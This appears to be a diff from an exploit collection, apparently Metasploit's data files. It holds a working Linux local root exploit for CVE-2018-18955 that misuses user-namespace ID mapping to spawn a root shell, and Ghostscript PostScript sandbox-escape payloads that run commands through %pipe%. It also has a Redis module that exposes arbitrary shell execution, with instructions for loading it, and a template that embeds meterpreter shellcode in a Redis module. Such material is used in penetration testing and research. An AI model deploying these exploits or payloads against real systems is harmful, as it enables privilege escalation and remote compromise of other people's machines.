|
||||
// author: Jann Horn
|
||||
// source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <unistd.h>
|
||||
#include <grp.h>
|
||||
#include <err.h>
|
||||
#include <stdio.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <sched.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
int main() {
|
||||
int sync_pipe[2];
|
||||
char dummy;
|
||||
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe)) err(1, "pipe");
|
||||
|
||||
pid_t child = fork();
|
||||
if (child == -1) err(1, "fork");
|
||||
if (child == 0) {
|
||||
close(sync_pipe[1]);
|
||||
if (unshare(CLONE_NEWUSER)) err(1, "unshare userns");
|
||||
if (write(sync_pipe[0], "X", 1) != 1) err(1, "write to sock");
|
||||
|
||||
if (read(sync_pipe[0], &dummy, 1) != 1) err(1, "read from sock");
|
||||
execl("/bin/bash", "bash", NULL);
|
||||
err(1, "exec");
|
||||
}
|
||||
|
||||
close(sync_pipe[0]);
|
||||
if (read(sync_pipe[1], &dummy, 1) != 1) err(1, "read from sock");
|
||||
char pbuf[100];
|
||||
sprintf(pbuf, "/proc/%d", (int)child);
|
||||
if (chdir(pbuf)) err(1, "chdir");
|
||||
const char *id_mapping = "0 0 1\n1 1 1\n2 2 1\n3 3 1\n4 4 1\n5 5 995\n";
|
||||
int uid_map = open("uid_map", O_WRONLY);
|
||||
if (uid_map == -1) err(1, "open uid map");
|
||||
if (write(uid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping)) err(1, "write uid map");
|
||||
close(uid_map);
|
||||
int gid_map = open("gid_map", O_WRONLY);
|
||||
if (gid_map == -1) err(1, "open gid map");
|
||||
if (write(gid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping)) err(1, "write gid map");
|
||||
close(gid_map);
|
||||
if (write(sync_pipe[1], "X", 1) != 1) err(1, "write to sock");
|
||||
|
||||
int status;
|
||||
if (wait(&status) != child) err(1, "wait");
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,272 @@
|
||||
// subuid_shell.c - Linux local root exploit for CVE-2018-18955
|
||||
// Exploits broken uid/gid mapping in nested user namespaces.
|
||||
// ---
|
||||
// Mostly stolen from Jann Horn's exploit:
|
||||
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
|
||||
// Some code stolen from Xairy's exploits:
|
||||
// - https://github.com/xairy/kernel-exploits
|
||||
// ---
|
||||
// <bcoles@gmail.com>
|
||||
// - added auto subordinate id mapping
|
||||
// https://github.com/bcoles/kernel-exploits/tree/cve-2018-18955
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <grp.h>
|
||||
#include <pwd.h>
|
||||
#include <sched.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <sys/wait.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <signal.h>
|
||||
#include <sys/prctl.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
char* SUBSHELL = "./subshell";
|
||||
|
||||
|
||||
// * * * * * * * * * * * * * * * * * File I/O * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define CHUNK_SIZE 1024
|
||||
|
||||
int read_file(const char* file, char* buffer, int max_length) {
|
||||
int f = open(file, O_RDONLY);
|
||||
if (f == -1)
|
||||
return -1;
|
||||
int bytes_read = 0;
|
||||
while (1) {
|
||||
int bytes_to_read = CHUNK_SIZE;
|
||||
if (bytes_to_read > max_length - bytes_read)
|
||||
bytes_to_read = max_length - bytes_read;
|
||||
int rv = read(f, &buffer[bytes_read], bytes_to_read);
|
||||
if (rv == -1)
|
||||
return -1;
|
||||
bytes_read += rv;
|
||||
if (rv == 0)
|
||||
return bytes_read;
|
||||
}
|
||||
}
|
||||
|
||||
static int write_file(const char* file, const char* what, ...) {
|
||||
char buf[1024];
|
||||
va_list args;
|
||||
va_start(args, what);
|
||||
vsnprintf(buf, sizeof(buf), what, args);
|
||||
va_end(args);
|
||||
buf[sizeof(buf) - 1] = 0;
|
||||
int len = strlen(buf);
|
||||
|
||||
int fd = open(file, O_WRONLY | O_CLOEXEC);
|
||||
if (fd == -1)
|
||||
return -1;
|
||||
if (write(fd, buf, len) != len) {
|
||||
close(fd);
|
||||
return -1;
|
||||
}
|
||||
close(fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Map * * * * * * * * * * * * * * * * *
|
||||
|
||||
int get_subuid(char* output, int max_length) {
|
||||
char buffer[1024];
|
||||
char* path = "/etc/subuid";
|
||||
int length = read_file(path, &buffer[0], sizeof(buffer));
|
||||
if (length == -1)
|
||||
return -1;
|
||||
|
||||
int real_uid = getuid();
|
||||
struct passwd *u = getpwuid(real_uid);
|
||||
|
||||
char needle[1024];
|
||||
sprintf(needle, "%s:", u->pw_name);
|
||||
int needle_length = strlen(needle);
|
||||
char* found = memmem(&buffer[0], length, needle, needle_length);
|
||||
if (found == NULL)
|
||||
return -1;
|
||||
|
||||
int i;
|
||||
for (i = 0; found[needle_length + i] != ':'; i++) {
|
||||
if (i >= max_length)
|
||||
return -1;
|
||||
if ((found - &buffer[0]) + needle_length + i >= length)
|
||||
return -1;
|
||||
output[i] = found[needle_length + i];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int get_subgid(char* output, int max_length) {
|
||||
char buffer[1024];
|
||||
char* path = "/etc/subgid";
|
||||
int length = read_file(path, &buffer[0], sizeof(buffer));
|
||||
if (length == -1)
|
||||
return -1;
|
||||
|
||||
int real_gid = getgid();
|
||||
struct group *g = getgrgid(real_gid);
|
||||
|
||||
char needle[1024];
|
||||
sprintf(needle, "%s:", g->gr_name);
|
||||
int needle_length = strlen(needle);
|
||||
char* found = memmem(&buffer[0], length, needle, needle_length);
|
||||
if (found == NULL)
|
||||
return -1;
|
||||
|
||||
int i;
|
||||
for (i = 0; found[needle_length + i] != ':'; i++) {
|
||||
if (i >= max_length)
|
||||
return -1;
|
||||
if ((found - &buffer[0]) + needle_length + i >= length)
|
||||
return -1;
|
||||
output[i] = found[needle_length + i];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
if (argc > 1) SUBSHELL = argv[1];
|
||||
|
||||
dprintf("[.] starting\n");
|
||||
|
||||
dprintf("[.] setting up namespace\n");
|
||||
|
||||
int sync_pipe[2];
|
||||
char dummy;
|
||||
|
||||
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe)) {
|
||||
dprintf("[-] pipe\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
pid_t child = fork();
|
||||
|
||||
if (child == -1) {
|
||||
dprintf("[-] fork");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (child == 0) {
|
||||
prctl(PR_SET_PDEATHSIG, SIGKILL);
|
||||
close(sync_pipe[1]);
|
||||
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWNET)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (write(sync_pipe[0], "X", 1) != 1) {
|
||||
dprintf("write to sock\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (read(sync_pipe[0], &dummy, 1) != 1) {
|
||||
dprintf("[-] read from sock\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (setgid(0)) {
|
||||
dprintf("[-] setgid");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (setuid(0)) {
|
||||
printf("[-] setuid");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
execl(SUBSHELL, "", NULL);
|
||||
|
||||
dprintf("[-] executing subshell failed\n");
|
||||
}
|
||||
|
||||
close(sync_pipe[0]);
|
||||
|
||||
if (read(sync_pipe[1], &dummy, 1) != 1) {
|
||||
dprintf("[-] read from sock\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char path[256];
|
||||
sprintf(path, "/proc/%d/setgroups", (int)child);
|
||||
|
||||
if (write_file(path, "deny") == -1) {
|
||||
dprintf("[-] denying setgroups failed\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[~] done, namespace sandbox set up\n");
|
||||
|
||||
dprintf("[.] mapping subordinate ids\n");
|
||||
char subuid[64];
|
||||
char subgid[64];
|
||||
|
||||
if (get_subuid(&subuid[0], sizeof(subuid))) {
|
||||
dprintf("[-] couldn't find subuid map in /etc/subuid\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (get_subgid(&subgid[0], sizeof(subgid))) {
|
||||
dprintf("[-] couldn't find subgid map in /etc/subgid\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[.] subuid: %s\n", subuid);
|
||||
dprintf("[.] subgid: %s\n", subgid);
|
||||
|
||||
char cmd[256];
|
||||
|
||||
sprintf(cmd, "newuidmap %d 0 %s 1000", (int)child, subuid);
|
||||
if (system(cmd)) {
|
||||
dprintf("[-] newuidmap failed");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
sprintf(cmd, "newgidmap %d 0 %s 1000", (int)child, subgid);
|
||||
if (system(cmd)) {
|
||||
dprintf("[-] newgidmap failed");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[~] done, mapped subordinate ids\n");
|
||||
|
||||
dprintf("[.] executing subshell\n");
|
||||
|
||||
if (write(sync_pipe[1], "X", 1) != 1) {
|
||||
dprintf("[-] write to sock");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int status;
|
||||
if (wait(&status) != child) {
|
||||
dprintf("[-] wait");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
@@ -0,0 +1,9 @@
|
||||
%!PS
|
||||
userdict /setpagedevice undef
|
||||
a0
|
||||
currentpagedevice /HWResolution get 0 (metasploit) put
|
||||
{ grestore } stopped pop
|
||||
(ppmraw) selectdevice
|
||||
mark /OutputFile (%pipe%echo vulnerable > /dev/tty) currentdevice putdeviceprops
|
||||
{ showpage } stopped pop
|
||||
quit
|
||||
@@ -0,0 +1,81 @@
|
||||
%!PS
|
||||
% This is ghostscript bug #699687 (split out from bug #699654)
|
||||
|
||||
% ImageMagick define setpagedevice, just remove their definition. This doesn't
|
||||
% do anything if not using ImageMagick.
|
||||
userdict /setpagedevice undef
|
||||
|
||||
% function to check if we're on Linux or Windows
|
||||
/iswindows {
|
||||
% Just checking if paths contain drive
|
||||
null (w) .tempfile closefile 1 get 16#3A eq
|
||||
} def
|
||||
|
||||
% just select a papersize to initialize page device
|
||||
a0
|
||||
|
||||
% The bug is that if you can make grestore or restore fail non-fatally,
|
||||
% LockSafetyParams isn't restored properly. grestore will fail if you set crazy
|
||||
% properties in your pagedevice, like a nonsense resolution.
|
||||
%
|
||||
% Normally it would be something like [72.0 72.0], but you can't just def
|
||||
% HWResolution to something else (for example), because it's readonly:
|
||||
%
|
||||
% GS>currentpagedevice wcheck ==
|
||||
% false
|
||||
%
|
||||
% But you can just put or astore into it, because the array itself is writable:
|
||||
% GS>currentpagedevice /HWResolution get wcheck ==
|
||||
% true
|
||||
%
|
||||
% Lets just put some junk in there.
|
||||
currentpagedevice /HWResolution get 0 (foobar) put
|
||||
|
||||
% This grestore will fail, stopped just catches the error instead of aborting.
|
||||
{ grestore } stopped pop
|
||||
|
||||
% Now LockSafetyParams will be incorrectly unset, you can check like this:
|
||||
% GS>mark currentdevice getdeviceprops .dicttomark /.LockSafetyParams get == pop
|
||||
% false
|
||||
|
||||
% We can change and configure devices now, so make sure we're using one with
|
||||
% a OutputFile property.
|
||||
(ppmraw) selectdevice
|
||||
|
||||
% Check if we're on Windows or UNIX
|
||||
iswindows {
|
||||
% This is Windows, gswin32c.exe supports %pipe%, so you can just run calc.exe.
|
||||
%
|
||||
% The graphical version doesn't seem to support %pipe%, but you can create
|
||||
% arbitrary files. If something is using the api (gs32dll.dll), it may or
|
||||
% may not support %pipe%.
|
||||
|
||||
/getstartupdirwindows {
|
||||
% This figures out startup location from %TEMP% (Tested on Win10)
|
||||
(C:\\USERS\\XXXXXX~1\\STARTM~1\\PROGRAMS\\STARTUP\\)
|
||||
dup 0 null (w) .tempfile closefile 0 18 getinterval putinterval
|
||||
} def
|
||||
|
||||
% (directory) (extension) randfile (result)
|
||||
/randfile {
|
||||
% pick a random filename
|
||||
exch rand 32 string cvs concatstrings exch concatstrings
|
||||
} def
|
||||
|
||||
mark /OutputFile (%pipe%calc.exe) currentdevice putdeviceprops
|
||||
|
||||
% if you need to create files, use txtwrite like this:
|
||||
|
||||
%mark /OutputFile getstartupdirwindows (.bat) randfile
|
||||
% { (txtwrite) selectdevice } stopped pop putdeviceprops setdevice
|
||||
%0 0 moveto
|
||||
%(REM This is an exploit demo\n) show
|
||||
%(calc.exe\n) show
|
||||
} {
|
||||
% This is UNIX, just run a shell command
|
||||
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
|
||||
} ifelse
|
||||
|
||||
{ showpage } stopped pop
|
||||
|
||||
quit
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,35 @@
|
||||
#set environment variable RM_INCLUDE_DIR to the location of redismodule.h
|
||||
ifndef RM_INCLUDE_DIR
|
||||
RM_INCLUDE_DIR=./
|
||||
endif
|
||||
|
||||
ifndef RMUTIL_LIBDIR
|
||||
RMUTIL_LIBDIR=./rmutil
|
||||
endif
|
||||
|
||||
# find the OS
|
||||
uname_S := $(shell sh -c 'uname -s 2>/dev/null || echo not')
|
||||
|
||||
# Compile flags for linux / osx
|
||||
ifeq ($(uname_S),Linux)
|
||||
SHOBJ_CFLAGS ?= -fno-common -g -ggdb
|
||||
SHOBJ_LDFLAGS ?= -shared -Bsymbolic
|
||||
else
|
||||
SHOBJ_CFLAGS ?= -dynamic -fno-common -g -ggdb
|
||||
SHOBJ_LDFLAGS ?= -bundle -undefined dynamic_lookup
|
||||
endif
|
||||
CFLAGS = -I$(RM_INCLUDE_DIR) -Wall -g -fPIC -lc -lm -std=gnu99 -fno-stack-protector -z execstack
|
||||
CC=gcc
|
||||
|
||||
all: rmutil module.so
|
||||
|
||||
rmutil: FORCE
|
||||
$(MAKE) -C $(RMUTIL_LIBDIR)
|
||||
|
||||
module.so: module.o
|
||||
$(LD) -o $@ module.o $(SHOBJ_LDFLAGS) $(LIBS) -L$(RMUTIL_LIBDIR) -lrmutil -lc -z execstack
|
||||
|
||||
clean:
|
||||
rm -rf *.xo *.so *.o
|
||||
|
||||
FORCE:
|
||||
@@ -0,0 +1,35 @@
|
||||
#set environment variable RM_INCLUDE_DIR to the location of redismodule.h
|
||||
ifndef RM_INCLUDE_DIR
|
||||
RM_INCLUDE_DIR=../
|
||||
endif
|
||||
|
||||
ifndef RMUTIL_LIBDIR
|
||||
RMUTIL_LIBDIR=../rmutil
|
||||
endif
|
||||
|
||||
# find the OS
|
||||
uname_S := $(shell sh -c 'uname -s 2>/dev/null || echo not')
|
||||
|
||||
# Compile flags for linux / osx
|
||||
ifeq ($(uname_S),Linux)
|
||||
SHOBJ_CFLAGS ?= -fno-common -g -ggdb
|
||||
SHOBJ_LDFLAGS ?= -shared -Bsymbolic
|
||||
else
|
||||
SHOBJ_CFLAGS ?= -dynamic -fno-common -g -ggdb
|
||||
SHOBJ_LDFLAGS ?= -bundle -undefined dynamic_lookup
|
||||
endif
|
||||
CFLAGS = -I$(RM_INCLUDE_DIR) -Wall -g -fPIC -lc -lm -std=gnu99 -fno-stack-protector -z execstack
|
||||
CC=gcc
|
||||
|
||||
all: rmutil exp.so
|
||||
|
||||
rmutil: FORCE
|
||||
$(MAKE) -C $(RMUTIL_LIBDIR)
|
||||
|
||||
exp.so: exp.o
|
||||
$(LD) -o $@ exp.o $(SHOBJ_LDFLAGS) $(LIBS) -L$(RMUTIL_LIBDIR) -lrmutil -lc -z execstack
|
||||
|
||||
clean:
|
||||
rm -rf *.xo *.so *.o
|
||||
|
||||
FORCE:
|
||||
@@ -0,0 +1,47 @@
|
||||
#include "redismodule.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
|
||||
int Shell(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
|
||||
if (argc == 2) {
|
||||
size_t cmd_len;
|
||||
size_t size = 1024;
|
||||
char *cmd = RedisModule_StringPtrLen(argv[1], &cmd_len);
|
||||
|
||||
FILE *fp = popen(cmd, "r");
|
||||
char *buf, *output;
|
||||
buf = (char *)malloc(size);
|
||||
output = (char *)malloc(size);
|
||||
while ( fgets(buf, sizeof(buf), fp) != 0 ) {
|
||||
if (strlen(buf) + strlen(output) >= size) {
|
||||
output = realloc(output, size<<2);
|
||||
size <<= 1;
|
||||
}
|
||||
strcat(output, buf);
|
||||
}
|
||||
RedisModuleString *ret = RedisModule_CreateString(ctx, output, strlen(output));
|
||||
RedisModule_ReplyWithString(ctx, ret);
|
||||
pclose(fp);
|
||||
} else {
|
||||
return RedisModule_WrongArity(ctx);
|
||||
}
|
||||
return REDISMODULE_OK;
|
||||
}
|
||||
|
||||
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
|
||||
if (RedisModule_Init(ctx,"shell",1,REDISMODULE_APIVER_1)
|
||||
== REDISMODULE_ERR) return REDISMODULE_ERR;
|
||||
|
||||
if (RedisModule_CreateCommand(ctx, "shell.exec",
|
||||
Shell, "readonly", 1, 1, 1) == REDISMODULE_ERR)
|
||||
return REDISMODULE_ERR;
|
||||
|
||||
return REDISMODULE_OK;
|
||||
}
|
||||
Executable
BIN
Binary file not shown.
@@ -0,0 +1,23 @@
|
||||
## Intro
|
||||
|
||||
This is a compiled shared object file of redis module.
|
||||
|
||||
## Load redis extension
|
||||
|
||||
```
|
||||
MODULE load ./exp.so
|
||||
```
|
||||
|
||||
## Run command
|
||||
|
||||
```
|
||||
redis-cli
|
||||
127.0.0.1:6379> shell.exec "whoami"
|
||||
```
|
||||
## Compile
|
||||
|
||||
You can modify the exp.c source code if you want.
|
||||
And the compile it to exp.so in current directory.
|
||||
```
|
||||
make
|
||||
```
|
||||
@@ -0,0 +1,38 @@
|
||||
#include "redismodule.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
|
||||
int Shell(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
|
||||
|
||||
pid_t child_pid = fork();
|
||||
if (child_pid == 0)
|
||||
{
|
||||
// Your meterpreter shell here
|
||||
<%= buf %>
|
||||
|
||||
int (*ret)() = (int(*)())buf;
|
||||
ret();
|
||||
}
|
||||
else
|
||||
{wait(NULL);}
|
||||
|
||||
return REDISMODULE_OK;
|
||||
}
|
||||
|
||||
|
||||
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
|
||||
if (RedisModule_Init(ctx,<%= @module_init_name.inspect %>,1,REDISMODULE_APIVER_1)
|
||||
== REDISMODULE_ERR) return REDISMODULE_ERR;
|
||||
|
||||
if (RedisModule_CreateCommand(ctx, <%= @module_cmd.inspect %>,
|
||||
Shell, "readonly", 1, 1, 1) == REDISMODULE_ERR)
|
||||
return REDISMODULE_ERR;
|
||||
return REDISMODULE_OK;
|
||||
}
|
||||
@@ -0,0 +1,509 @@
|
||||
#ifndef REDISMODULE_H
|
||||
#define REDISMODULE_H
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
|
||||
/* ---------------- Defines common between core and modules --------------- */
|
||||
|
||||
/* Error status return values. */
|
||||
#define REDISMODULE_OK 0
|
||||
#define REDISMODULE_ERR 1
|
||||
|
||||
/* API versions. */
|
||||
#define REDISMODULE_APIVER_1 1
|
||||
|
||||
/* API flags and constants */
|
||||
#define REDISMODULE_READ (1<<0)
|
||||
#define REDISMODULE_WRITE (1<<1)
|
||||
|
||||
#define REDISMODULE_LIST_HEAD 0
|
||||
#define REDISMODULE_LIST_TAIL 1
|
||||
|
||||
/* Key types. */
|
||||
#define REDISMODULE_KEYTYPE_EMPTY 0
|
||||
#define REDISMODULE_KEYTYPE_STRING 1
|
||||
#define REDISMODULE_KEYTYPE_LIST 2
|
||||
#define REDISMODULE_KEYTYPE_HASH 3
|
||||
#define REDISMODULE_KEYTYPE_SET 4
|
||||
#define REDISMODULE_KEYTYPE_ZSET 5
|
||||
#define REDISMODULE_KEYTYPE_MODULE 6
|
||||
|
||||
/* Reply types. */
|
||||
#define REDISMODULE_REPLY_UNKNOWN -1
|
||||
#define REDISMODULE_REPLY_STRING 0
|
||||
#define REDISMODULE_REPLY_ERROR 1
|
||||
#define REDISMODULE_REPLY_INTEGER 2
|
||||
#define REDISMODULE_REPLY_ARRAY 3
|
||||
#define REDISMODULE_REPLY_NULL 4
|
||||
|
||||
/* Postponed array length. */
|
||||
#define REDISMODULE_POSTPONED_ARRAY_LEN -1
|
||||
|
||||
/* Expire */
|
||||
#define REDISMODULE_NO_EXPIRE -1
|
||||
|
||||
/* Sorted set API flags. */
|
||||
#define REDISMODULE_ZADD_XX (1<<0)
|
||||
#define REDISMODULE_ZADD_NX (1<<1)
|
||||
#define REDISMODULE_ZADD_ADDED (1<<2)
|
||||
#define REDISMODULE_ZADD_UPDATED (1<<3)
|
||||
#define REDISMODULE_ZADD_NOP (1<<4)
|
||||
|
||||
/* Hash API flags. */
|
||||
#define REDISMODULE_HASH_NONE 0
|
||||
#define REDISMODULE_HASH_NX (1<<0)
|
||||
#define REDISMODULE_HASH_XX (1<<1)
|
||||
#define REDISMODULE_HASH_CFIELDS (1<<2)
|
||||
#define REDISMODULE_HASH_EXISTS (1<<3)
|
||||
|
||||
/* Context Flags: Info about the current context returned by
|
||||
* RM_GetContextFlags(). */
|
||||
|
||||
/* The command is running in the context of a Lua script */
|
||||
#define REDISMODULE_CTX_FLAGS_LUA (1<<0)
|
||||
/* The command is running inside a Redis transaction */
|
||||
#define REDISMODULE_CTX_FLAGS_MULTI (1<<1)
|
||||
/* The instance is a master */
|
||||
#define REDISMODULE_CTX_FLAGS_MASTER (1<<2)
|
||||
/* The instance is a slave */
|
||||
#define REDISMODULE_CTX_FLAGS_SLAVE (1<<3)
|
||||
/* The instance is read-only (usually meaning it's a slave as well) */
|
||||
#define REDISMODULE_CTX_FLAGS_READONLY (1<<4)
|
||||
/* The instance is running in cluster mode */
|
||||
#define REDISMODULE_CTX_FLAGS_CLUSTER (1<<5)
|
||||
/* The instance has AOF enabled */
|
||||
#define REDISMODULE_CTX_FLAGS_AOF (1<<6)
|
||||
/* The instance has RDB enabled */
|
||||
#define REDISMODULE_CTX_FLAGS_RDB (1<<7)
|
||||
/* The instance has Maxmemory set */
|
||||
#define REDISMODULE_CTX_FLAGS_MAXMEMORY (1<<8)
|
||||
/* Maxmemory is set and has an eviction policy that may delete keys */
|
||||
#define REDISMODULE_CTX_FLAGS_EVICT (1<<9)
|
||||
/* Redis is out of memory according to the maxmemory flag. */
|
||||
#define REDISMODULE_CTX_FLAGS_OOM (1<<10)
|
||||
/* Less than 25% of memory available according to maxmemory. */
|
||||
#define REDISMODULE_CTX_FLAGS_OOM_WARNING (1<<11)
|
||||
|
||||
#define REDISMODULE_NOTIFY_GENERIC (1<<2) /* g */
|
||||
#define REDISMODULE_NOTIFY_STRING (1<<3) /* $ */
|
||||
#define REDISMODULE_NOTIFY_LIST (1<<4) /* l */
|
||||
#define REDISMODULE_NOTIFY_SET (1<<5) /* s */
|
||||
#define REDISMODULE_NOTIFY_HASH (1<<6) /* h */
|
||||
#define REDISMODULE_NOTIFY_ZSET (1<<7) /* z */
|
||||
#define REDISMODULE_NOTIFY_EXPIRED (1<<8) /* x */
|
||||
#define REDISMODULE_NOTIFY_EVICTED (1<<9) /* e */
|
||||
#define REDISMODULE_NOTIFY_STREAM (1<<10) /* t */
|
||||
#define REDISMODULE_NOTIFY_ALL (REDISMODULE_NOTIFY_GENERIC | REDISMODULE_NOTIFY_STRING | REDISMODULE_NOTIFY_LIST | REDISMODULE_NOTIFY_SET | REDISMODULE_NOTIFY_HASH | REDISMODULE_NOTIFY_ZSET | REDISMODULE_NOTIFY_EXPIRED | REDISMODULE_NOTIFY_EVICTED | REDISMODULE_NOTIFY_STREAM) /* A */
|
||||
|
||||
|
||||
/* A special pointer that we can use between the core and the module to signal
|
||||
* field deletion, and that is impossible to be a valid pointer. */
|
||||
#define REDISMODULE_HASH_DELETE ((RedisModuleString*)(long)1)
|
||||
|
||||
/* Error messages. */
|
||||
#define REDISMODULE_ERRORMSG_WRONGTYPE "WRONGTYPE Operation against a key holding the wrong kind of value"
|
||||
|
||||
#define REDISMODULE_POSITIVE_INFINITE (1.0/0.0)
|
||||
#define REDISMODULE_NEGATIVE_INFINITE (-1.0/0.0)
|
||||
|
||||
/* Cluster API defines. */
|
||||
#define REDISMODULE_NODE_ID_LEN 40
|
||||
#define REDISMODULE_NODE_MYSELF (1<<0)
|
||||
#define REDISMODULE_NODE_MASTER (1<<1)
|
||||
#define REDISMODULE_NODE_SLAVE (1<<2)
|
||||
#define REDISMODULE_NODE_PFAIL (1<<3)
|
||||
#define REDISMODULE_NODE_FAIL (1<<4)
|
||||
#define REDISMODULE_NODE_NOFAILOVER (1<<5)
|
||||
|
||||
#define REDISMODULE_CLUSTER_FLAG_NONE 0
|
||||
#define REDISMODULE_CLUSTER_FLAG_NO_FAILOVER (1<<1)
|
||||
#define REDISMODULE_CLUSTER_FLAG_NO_REDIRECTION (1<<2)
|
||||
|
||||
#define REDISMODULE_NOT_USED(V) ((void) V)
|
||||
|
||||
/* This type represents a timer handle, and is returned when a timer is
|
||||
* registered and used in order to invalidate a timer. It's just a 64 bit
|
||||
* number, because this is how each timer is represented inside the radix tree
|
||||
* of timers that are going to expire, sorted by expire time. */
|
||||
typedef uint64_t RedisModuleTimerID;
|
||||
|
||||
/* ------------------------- End of common defines ------------------------ */
|
||||
|
||||
#ifndef REDISMODULE_CORE
|
||||
|
||||
typedef long long mstime_t;
|
||||
|
||||
/* Incomplete structures for compiler checks but opaque access. */
|
||||
typedef struct RedisModuleCtx RedisModuleCtx;
|
||||
typedef struct RedisModuleKey RedisModuleKey;
|
||||
typedef struct RedisModuleString RedisModuleString;
|
||||
typedef struct RedisModuleCallReply RedisModuleCallReply;
|
||||
typedef struct RedisModuleIO RedisModuleIO;
|
||||
typedef struct RedisModuleType RedisModuleType;
|
||||
typedef struct RedisModuleDigest RedisModuleDigest;
|
||||
typedef struct RedisModuleBlockedClient RedisModuleBlockedClient;
|
||||
typedef struct RedisModuleClusterInfo RedisModuleClusterInfo;
|
||||
typedef struct RedisModuleDict RedisModuleDict;
|
||||
typedef struct RedisModuleDictIter RedisModuleDictIter;
|
||||
|
||||
typedef int (*RedisModuleCmdFunc)(RedisModuleCtx *ctx, RedisModuleString **argv, int argc);
|
||||
typedef void (*RedisModuleDisconnectFunc)(RedisModuleCtx *ctx, RedisModuleBlockedClient *bc);
|
||||
typedef int (*RedisModuleNotificationFunc)(RedisModuleCtx *ctx, int type, const char *event, RedisModuleString *key);
|
||||
typedef void *(*RedisModuleTypeLoadFunc)(RedisModuleIO *rdb, int encver);
|
||||
typedef void (*RedisModuleTypeSaveFunc)(RedisModuleIO *rdb, void *value);
|
||||
typedef void (*RedisModuleTypeRewriteFunc)(RedisModuleIO *aof, RedisModuleString *key, void *value);
|
||||
typedef size_t (*RedisModuleTypeMemUsageFunc)(const void *value);
|
||||
typedef void (*RedisModuleTypeDigestFunc)(RedisModuleDigest *digest, void *value);
|
||||
typedef void (*RedisModuleTypeFreeFunc)(void *value);
|
||||
typedef void (*RedisModuleClusterMessageReceiver)(RedisModuleCtx *ctx, const char *sender_id, uint8_t type, const unsigned char *payload, uint32_t len);
|
||||
typedef void (*RedisModuleTimerProc)(RedisModuleCtx *ctx, void *data);
|
||||
|
||||
#define REDISMODULE_TYPE_METHOD_VERSION 1
|
||||
typedef struct RedisModuleTypeMethods {
|
||||
uint64_t version;
|
||||
RedisModuleTypeLoadFunc rdb_load;
|
||||
RedisModuleTypeSaveFunc rdb_save;
|
||||
RedisModuleTypeRewriteFunc aof_rewrite;
|
||||
RedisModuleTypeMemUsageFunc mem_usage;
|
||||
RedisModuleTypeDigestFunc digest;
|
||||
RedisModuleTypeFreeFunc free;
|
||||
} RedisModuleTypeMethods;
|
||||
|
||||
